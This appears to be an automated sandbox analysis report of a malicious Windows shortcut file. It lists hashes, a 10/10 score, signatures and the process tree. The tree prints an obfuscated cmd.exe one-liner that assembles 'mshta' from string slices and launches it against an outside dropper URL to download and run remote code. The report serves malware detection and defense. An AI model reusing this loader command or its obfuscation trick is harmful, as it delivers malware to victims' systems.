Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-28XSSA.lnk
  • Size 2KB
  • Sample260804-kacqhszzfz
  • SHA256 2db2102adb0b50635eabc55ac4e11f427536401664a39d2fcf4e55858b1d2084
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-28XSSA.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6000
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set UEdg=t8dst6&&set hTsf=wy4arfa0&&set Rfb=f5ptf8&set Sb=dbgfowbdbg&set Yg=logpkolzxphuxtzkbtlog&set oJIb=yimsh9x&&set KXfTQ=otu6&&set JKWum=tmvag&set PDj=netpnxqnocctttsnet&set CdnH=logagjkvkxewqbpjlog&set Km=syshzrhyscdsys&set yc=logzylrvujvckgbeatmlog&&set Vl=ht@tps://@[email protected]@/h/@e@sta@[email protected]@p?@r@=39@146@9FB5@D8@2DB&&start /b !oJIb:~2,3!!KXfTQ:~1,1!!JKWum:~3,1! !Vl:@=!&&set flK=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4432
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4444

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads